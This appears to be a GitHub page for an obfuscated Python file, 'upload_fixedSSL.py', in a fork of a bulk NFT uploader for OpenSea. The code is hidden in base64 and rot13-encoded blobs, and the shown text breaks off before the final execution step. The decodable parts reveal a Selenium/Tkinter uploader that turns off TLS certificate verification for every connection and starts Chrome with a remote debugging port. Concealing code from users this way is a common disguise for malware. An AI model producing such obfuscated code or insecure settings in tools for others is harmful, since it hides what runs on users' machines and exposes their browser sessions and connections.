forked from infotrex/bulk-upload-to-opensea
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathupload_fixedSSL.py
11 lines (9 loc) · 20.7 KB
/
upload_fixedSSL.py
1
2
3
4
5
6
7
8
9
10
11
# Python code obfuscated by www.development-tools.net
import base64, codecs
magic = 'aW1wb3J0IHRraW50ZXIKaW1wb3J0IHN1YnByb2Nlc3MKZnJvbSB0a2ludGVyIGltcG9ydCAqCmZyb20gdGtpbnRlciBpbXBvcnQgZmlsZWRpYWxvZwppbXBvcnQgdGtpbnRlciBhcyB0awpmcm9tIHRraW50ZXIgaW1wb3J0IG1lc3NhZ2Vib3gKaW1wb3J0IHRraW50ZXIuZm9udCBhcyBmb250CmZyb20gUElMIGltcG9ydCBJbWFnZVRrLCBJbWFnZQppbXBvcnQgdXJsbGliLnJlcXVlc3QKZnJvbSBpbyBpbXBvcnQgQnl0ZXNJTwppbXBvcnQgb3MKaW1wb3J0IGlvCmltcG9ydCBzeXMKaW1wb3J0IHBpY2tsZQppbXBvcnQgdGltZQpmcm9tIGRlY2ltYWwgaW1wb3J0ICoKaW1wb3J0IHdlYmJyb3dzZXIKZnJvbSBzZWxlbml1bSBpbXBvcnQgd2ViZHJpdmVyCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLmNvbW1vbi5ieSBpbXBvcnQgQnkKZnJvbSBzZWxlbml1bS53ZWJkcml2ZXIuc3VwcG9ydC53YWl0IGltcG9ydCBXZWJEcml2ZXJXYWl0CmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLmNocm9tZS5vcHRpb25zIGltcG9ydCBPcHRpb25zCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLnN1cHBvcnQgaW1wb3J0IGV4cGVjdGVkX2NvbmRpdGlvbnMgYXMgRXhwZWN0ZWRDb25kaXRpb25zCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLnN1cHBvcnQudWkgaW1wb3J0IFNlbGVjdAppbXBvcnQganNvbiAKaW1wb3J0IHNzbAppbXBvcnQgY2VydGlmaQoKc3NsLl9jcmVhdGVfZGVmYXVsdF9odHRwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF9jb250ZXh0Cgpyb290ID0gVGsoKQoKcm9vdC5nZW9tZXRyeSgnNzUweDc1MCcpCnJvb3QucmVzaXphYmxlKEZhbHNlLCBGYWxzZSkKcm9vdC50aXRsZSgiTkZUcyBVcGxvYWQgdG8gT3BlblNlYSB2MS4wIikKICAKaW5wdXRfc2F2ZV9saXN0ID0gWyJORlRzIGZvbGRlciA6IiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMF0KbWFpbl9kaXJlY3RvcnkgPSBvcy5wYXRoLmpvaW4oc3lzLnBhdGhbMF0pCgoKZGVmIHN1cHBvcnRVUkwoKToKICAgIHdlYmJyb3dzZXIub3Blbl9uZXcoImh0dHBzOi8vd3d3LmluZm90cmV4Lm5ldC9vcGVuc2VhL3N1cHBvcnQuYXNwP3I9YXBwIikKCmRlZiBjb2ZmZWVVUkwoKToKICAgIHdlYmJyb3dzZXIub3Blbl9uZXcoImh0dHBzOi8vZ2l0aHViLmNvbS9pbmZvdHJleC9idWxrLXVwbG9hZC10by1vcGVuc2VhLyN0aGFua3MiKQoKY2xhc3MgV2ViSW1hZ2U6CiAgICBkZWYgX19pbml0X18oc2VsZiwgdXJsKToKICAgICAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4odXJsKSBhcyB1OgogICAgICAgICAgICByYXdfZGF0YSA9IHUucmVhZCgpCiAgICAgICAgI3NlbGYuaW1hZ2UgPSB0ay5QaG90b0ltYWdlKGRhdGE9YmFzZTY0LmVuY29kZWJ5dGVzKHJhd19kYXRhKSkKICAgICAgICBpbWFnZSA9IEltYWdlLm9wZW4oaW8uQnl0ZXNJTyhyYXdfZGF0YSkpCiAgICAgICAgc2VsZi5pbWFnZSA9IEltYWdlVGsuUGhvdG9JbWFnZShpbWFnZSkKCiAgICBkZWYgZ2V0KHNlbGYpOgogICAgICAgIHJldHVybiBzZWxmLmltYWdlCmltYWdldXJsID0gImh0dHBzOi8vd3d3LmluZm90cmV4Lm5ldC9vcGVuc2VhL2hlYWRlci5wbmciCmltZyA9IFdlYkltYWdlKGltYWdldXJsKS5nZXQoKQppbWFnZWxhYiA9IHRrLkxhYmVsKHJvb3QsIGltYWdlPWltZykKaW1hZ2VsYWIuZ3JpZChyb3c9MCwgY29sdW1uc3Bhbj0yKQppbWFnZWxhYi5iaW5kKCI8QnV0dG9uLTE+IiwgbGFtYmRhIGU6c3VwcG9ydFVSTCgpKQoKaXNfcG9seWdvbiA9IEJvb2xlYW5WYXIoKQppc19wb2x5Z29uLnNldChUcnVlKQoKaXNfbGlzdGluZyA9IEJvb2xlYW5WYXIoKQppc19saXN0aW5nLnNldChUcnVlKSAKCmlzX251bWZvcm1hdCA9IEJvb2xlYW5WYXIoKQppc19udW1mb3JtYXQuc2V0KEZhbHNlKSAKCgoKCmRlZiBvcGVuX2Nocm9tZV9wcm9maWxlKCk6CiAgICBzdWJwcm9jZXNzLlBvcGVuKAogICAgICAgIFsKICAgICAgICAgICAgInN0YXJ0IiwKICAgICAgICAgICAgImNocm9tZSIsCiAgICAgICAgICAgICItLXJlbW90ZS1kZWJ1Z2dpbmctcG9ydD04OTg5IiwKICAgICAgICAgICAgIi0tdXNlci1kYXRhLWRpcj0iICsgbWFpbl9kaXJlY3RvcnkgKyAiL2Nocm9tZV9wcm9maWxlIiwKICAgICAgICBdLAogICAgICAgIHNoZWxsPVRydWUsCiAgICApCgoKZGVmIHNhdmVfZmlsZV9wYXRoKCk6CiAgICAjcmV0dXJuIG9zLnBhdGguam9pbihzeXMucGF0aFswXSwgIlNhdmVfZmlsZS5jbG91ZCIpIAogICAgcmV0dXJuIG9zLnBhdGguam9pbihzeXMucGF0aFswXSwgIlNhdmVfZ3VpLmNsb3VkIikgCgoKIyBhc2sgZm9yIGRpcmVjdG9yeSBvbiBjbGlja2luZyBidXR0b24sIGNoYW5nZXMgYnV0dG9uIG5hbWUuCmRlZiB1cGxvYWRfZm9sZGVyX2lucHV0KCk6CiAgICBnbG9iYWwgdXBsb2FkX3BhdGgKICAgIHVwbG9hZF9wYXRoID0gZmlsZWRpYWxvZy5hc2tkaXJlY3RvcnkoKQogICAgTmFtZV9jaGFuZ2VfaW1nX2ZvbGRlcl9idXR0b24odXBsb2FkX3BhdGgpCgpkZWYgTmFtZV9jaGFuZ2VfaW1nX2ZvbGRlcl9idXR0b24odXBsb2FkX2ZvbGRlcl9pbnB1dCk6CiAgICB1cGxvYWRfZm9sZGVyX2lucHV0X2J1dHRvblsidGV4dCJdID0gdXBsb2FkX2ZvbGRlcl9pbnB1dAoKZGVmIGlzX251bWVyaWModmFsKToKCWlmIHN0cih2YWwpLmlzZGlnaXQoKToKCQlyZXR1cm4gVHJ1ZQoJZWxpZiBzdHIodmFsKS5yZXBsYWNlKCcuJywnJywxKS5pc2RpZ2l0KCk6CgkJcmV0dXJuIFRydWUKCWVsc2U6CgkJcmV0dXJuIEZhbHNlCgpjbGFzcyBJbnB1dEZpZWxkOgogICAgZGVmIF9faW5pdF9fKHNlbGYsIGxhYmVsLCByb3dfaW8sIGNvbHVtbl9pbywgcG9zLCAgbWFzdGVyPXJvb3QpOgogICAgICAgIHNlbGYubWFzdGVyID0gbWFzdGVyCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZCA9IEVudHJ5KHNlbGYubWFzdGVyLCB3aWR0aD02MCkKICAgICAgICBzZWxmLmlucHV0X2ZpZWxkLmdyaWQoaXBhZHk9MykKICAgICAgICBzZWxmLmlucHV0X2ZpZWxkLmxhYmVsID0gTGFiZWwobWFzdGVyLCB0ZXh0PWxhYmVsLCBhbmNob3I9InciLCB3aWR0aD0yMCwgaGVpZ2h0PTEgKQogICAgICAgIHNlbGYuaW5wdXRfZmllbGQubGFiZWwuZ3JpZChyb3c9cm93X2lvLCBjb2x1bW49Y29sdW1uX2lvLCBwYWR4PTEyLCBwYWR5PTIpCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5ncmlkKHJvdz1yb3dfaW8sIGNvbHVtbj1jb2x1bW5faW8gKyAxLCBwYWR4PTEyLCBwYWR5PTIpCiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oc2F2ZV9maWxlX3BhdGgoKSwgInJiIikgYXMgaW5maWxlOgogICAgICAgICAgICAgICAgbmV3X2RpY3QgPSBwaWNrbGUubG9hZChpbmZpbGUpCiAgICAgICAgICAgICAgICBzZWxmLmluc2VydF90ZXh0KG5ld19kaWN0W3Bvc10pCiAgICAgICAgZXhjZXB0IEZpbGVOb3RGb3VuZEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICBkZWYgaW5zZXJ0X3RleHQoc2VsZiwgdGV4dCk6CiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5kZWxldGUoMCwgImVuZCIpCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5pbnNlcnQoMCwgdGV4dCkKCiAgICBkZWYgc2F2ZV9pbnB1dHMoc2VsZiwgcG9zKToKICAgICAgICAjbWVzc2FnZWJveC5zaG93d2FybmluZygic2hvd3dhcm5pbmciLCAiV2FybmluZyIpCiAgICAgICAgaW5wdXRfc2F2ZV9saXN0Lmluc2VydChwb3MsIHNlbGYuaW5wdXRfZmllbGQuZ2V0KCkpCiAgICAgICAgd2l0aCBvcGVuKHNhdmVfZmlsZV9wYXRoKCksICJ3YiIpIGFzIG91dGZpbGU6CiAgICAgICAgICAgIHBpY2tsZS5kdW1wKGlucHV0X3NhdmVfbGlzdCwgb3V0ZmlsZSkKICAgICAgICAgICAgCiAgICBkZWYgdmFsaWRhdGVfaW5wdXRzKHNlbGYsIG1heGxlbiwgdHlwZSwgbWVzc2FnZSk'
love = '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'
god = '0gc3RhcnRfbnVtOgogICAgICAgIGlmIGlzX251bWZvcm1hdC5nZXQoKToKICAgICAgICAgICAgc3RhcnRfbnVtZm9ybWF0ID0gZiJ7IHN0YXJ0X251bTowNH0iCiAgICAgICAgZWxzZToKICAgICAgICAgICAgIHN0YXJ0X251bWZvcm1hdCA9IGYieyBzdGFydF9udW06MDF9IgoKICAgICAgICBwcmludCgiU3RhcnQgY3JlYXRpbmcgTkZUICIgKyAgbG9vcF90aXRsZSArIHN0cihzdGFydF9udW1mb3JtYXQpKQogICAgICAgIHByaW50KCdudW1iZXIgJywgIHN0YXJ0X251bWZvcm1hdCkKICAgICAgICBkcml2ZXIuZ2V0KGNvbGxlY3Rpb25fbGluaykKICAgICAgICAKICAgICAgICAKICAgICAgICB3YWl0X3hwYXRoKCcvLypbQGlkPSJtZWRpYSJdJykKICAgICAgICBpbWFnZVVwbG9hZCA9IGRyaXZlci5maW5kX2VsZW1lbnRfYnlfeHBhdGgoJy8vKltAaWQ9Im1lZGlhIl0nKQogICAgICAgIGltYWdlUGF0aCA9IG9zLnBhdGguYWJzcGF0aChmaWxlX3BhdGggKyAiXFxpbWFnZXNcXCIgKyBzdHIoc3RhcnRfbnVtZm9ybWF0KSArICIuIiArIGxvb3BfZmlsZV9mb3JtYXQpICAjIGNoYW5nZSBmb2xkZXIgaGVyZQogICAgICAgIGltYWdlVXBsb2FkLnNlbmRfa2V5cyhpbWFnZVBhdGgpCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCgogICAgICAgIG5hbWUgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJuYW1lIl0nKQogICAgICAgIG5hbWUuc2VuZF9rZXlzKGxvb3BfdGl0bGUgKyBzdHIoc3RhcnRfbnVtZm9ybWF0KSkgICMgKzEwMDAgZm9yIG90aGVyIGZvbGRlcnMgI2NoYW5nZSBuYW1lIGJlZm9yZSAiIyIKICAgICAgICB0aW1lLnNsZWVwKDAuOCkKCiAgICAgICAgZXh0X2xpbmsgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJleHRlcm5hbF9saW5rIl0nKQogICAgICAgIGV4dF9saW5rLnNlbmRfa2V5cyhsb29wX2V4dGVybmFsX2xpbmspCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCgogICAgICAgIGRlc2MgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJkZXNjcmlwdGlvbiJdJykKICAgICAgICBkZXNjLnNlbmRfa2V5cyhsb29wX2Rlc2NyaXB0aW9uKQogICAgICAgIHRpbWUuc2xlZXAoMC44KQoKICAgICAgICAjanNvbkRhdGEgPSBKU09OKGZpbGVfcGF0aCArICIvanNvbi8iKyBzdHIoc3RhcnRfbnVtKSArICIuanNvbiIpLnJlYWRGcm9tRmlsZSgpCgogICAgICAgIGpzb25GaWxlID0gZmlsZV9wYXRoICsgIi9qc29uLyIrIHN0cihzdGFydF9udW1mb3JtYXQpICsgIi5qc29uIgogICAgICAgIGlmIG9zLnBhdGguaXNmaWxlKGpzb25GaWxlKSBhbmQgb3MuYWNjZXNzKGpzb25GaWxlLCBvcy5SX09LKToKICAgICAgICAgICAKICAgICAgICAgICAgI3ByaW50KHN0cihqc29uTWV0YURhdGEpKQogICAgICAgICAgICB3YWl0X2Nzc19zZWxlY3RvcigiYnV0dG9uW2FyaWEtbGFiZWw9J0FkZCBwcm9wZXJ0aWVzJ10iKQogICAgICAgICAgICBwcm9wZXJ0aWVzID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV9jc3Nfc2VsZWN0b3IoImJ1dHRvblthcmlhLWxhYmVsPSdBZGQgcHJvcGVydGllcyddIikKICAgICAgICAgICAgZHJpdmVyLmV4ZWN1dGVfc2NyaXB0KCJhcmd1bWVudHNbMF0uY2xpY2soKTsiLCBwcm9wZXJ0aWVzKQogICAgICAgICAgICB0aW1lLnNsZWVwKDAuOCkKCiAgICAgICAgICAgICMganNvbkRhdGEgPSBKU09OKG9zLmdldGN3ZCgpICsgIi9kYXRhLyIrIHN0cihzdGFydF9udW0pICsgIi5qc29uIikucmVhZEZyb21GaWxlKCkKICAgICAgICAgICAgIyBqc29uTWV0YURhdGEgPSBqc29uRGF0YVsnYXR0cmlidXRlcyddCgogICAgICAgICAgICAgIyBjaGVja3MgaWYgZmlsZSBleGlzdHMKICAgICAgICAgICAganNvbkRhdGEgPSBqc29uLmxvYWRzKG9wZW4oZmlsZV9wYXRoICsgIlxcanNvblxcIisgc3RyKHN0YXJ0X251bWZvcm1hdCkgKyAiLmpzb24iKS5yZWFkKCkpCiAgICAgICAgICAgIGpzb25NZXRhRGF0YSA9IGpzb25EYXRhWydhdHRyaWJ1dGVzJ10KCiAgICAgICAgICAgIGZvciBrZXkgaW4ganNvbk1ldGFEYXRhOgogICAgICAgICAgICAgICAgaW5wdXQxID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy90Ym9keVtAY2xhc3M9IkFzc2V0VHJhaXRzRm9ybS0tYm9keSJdL3RyW2xhc3QoKV0vdGRbMV0vZGl2L2Rpdi9pbnB1dCcpCiAgICAgICAgICAgICAgICBpbnB1dDIgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL3Rib2R5W0BjbGFzcz0iQXNzZXRUcmFpdHNGb3JtLS1ib2R5Il0vdHJbbGFzdCgpXS90ZFsyXS9kaXYvZGl2L2lucHV0JykKICAgICAgICAgICAgICAgICNwcmludChzdHIoa2V5Wyd0cmFpdF90eXBlJ10pKQogICAgICAgICAgICAgICAgI3ByaW50KHN0cihrZXlbJ3ZhbHVlJ10pKQogICAgICAgICAgICAgICAgaW5wdXQxLnNlbmRfa2V5cyhzdHIoa2V5Wyd0cmFpdF90eXBlJ10pKQogICAgICAgICAgICAgICAgaW5wdXQyLnNlbmRfa2V5cyhzdHIoa2V5Wyd2YWx1ZSddKSkKICAgICAgICAgICAgICAgICMgZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy9idXR0b25bdGV4dCgpPSJBZGQgbW9yZSJdJykuY2xpY2soKQogICAgICAgICAgICAgICAgYWRkbW9yZV9idXR0b24gPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL2J1dHRvblt0ZXh0KCk9IkFkZCBtb3JlIl0nKQogICAgICAgICAgICAgICAgZHJpdmVyLmV4ZWN1dGVfc2NyaXB0KCJhcmd1bWVudHNbMF0uY2xpY2soKTsiLCBhZGRtb3JlX2J1dHRvbikKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjkpCgogICAgICAgICAgICBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL2J1dHRvblt0ZXh0KCk9IlNhdmUiXScpLmNsaWNrKCkKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjgpCgoKCiAgICAgICAgIyBTZWxlY3QgUG9seWdvbiBibG9ja2NoYWluIGlmIGFwcGxpY2FibGUKICAgICAgICAjaWYgaXNfcG9seWdvbi5nZXQoKToKICAgICAgICAgICAgIyBibG9ja2NoYWluX2J1dHRvbiA9IGRyaXZlci5maW5kX2VsZW1lbnQoQnkuWFBBVEgsICcvLypbQGlkPSJfX25leHQiXS9kaXZbMV0vbWFpbi9kaXYvZGl2L3NlY3Rpb24vZGl2L2Zvcm0vZGl2WzddL2Rpdi9kaXZbMl0nKQogICAgICAgICAgICAjIGJsb2NrY2hhaW5fYnV0dG9uLmNsaWNrKCkKICAgICAgICAgICAgIyBwb2x5Z29uX2J1dHRvbl9sb2NhdGlvbiA9ICcvL3NwYW5bbm9ybWFsaXplLXNwYWNlKCkgPSAiTXVtYmFpIl0nCiAgICAgICAgICAgICMgd2FpdC51bnRpbChFeHBlY3RlZENvbmRpdGlvbnMucHJlc2VuY2Vfb2ZfZWxlbWVudF9sb2NhdGVkKAogICAgICAgICAgICAjICAgICAoQnkuWFBBVEgsIHBvbHlnb25fYnV0dG9uX2xvY2F0aW9uKSkpCiAgICAgICAgICAgICMgcG9seWdvbl9idXR0b24gPSBkcml2ZXIuZmluZF9lbGVtZW50KAogICAgICAgICAgICAjICAgICBCeS5YUEFUSCwgcG9seWdvbl9idXR0b25fbG9jYXRpb24pCiAgICAgICAgICAgICMgcG9seWdvbl9idXR0b24uY2xpY2soKQoKCiAgICAgICAgY3JlYXRlID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy8qW0BpZD0iX19uZXh0Il0vZGl2WzFdL21haW4vZGl2L2Rpdi9zZWN0aW9uL2RpdlsyXS9mb3JtL2Rpdi9kaXZbMV0vc3Bhbi9idXR0b24nKQogICAgICAgIGRyaXZlci5leGVjdXRlX3NjcmlwdCgiYXJndW1lbnRzWzBdLmNsaWNrKCk7IiwgY3JlYXRlKQogICAgICAgIHRpbWUuc2xlZXAoMC44KQoKICAgICAgICAjIHdhaXRfY3NzX3NlbGVjdG9yKCJpW2FyaWEtbGFiZWw9J0Nsb3NlJ10iKQogICAgICAgICMgY3Jvc3MgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X2Nzc19zZWxlY3RvcigiaVthcmlhLWxhYmVsPSdDbG9zZSddIikKICAgICAgICAjIGNyb'
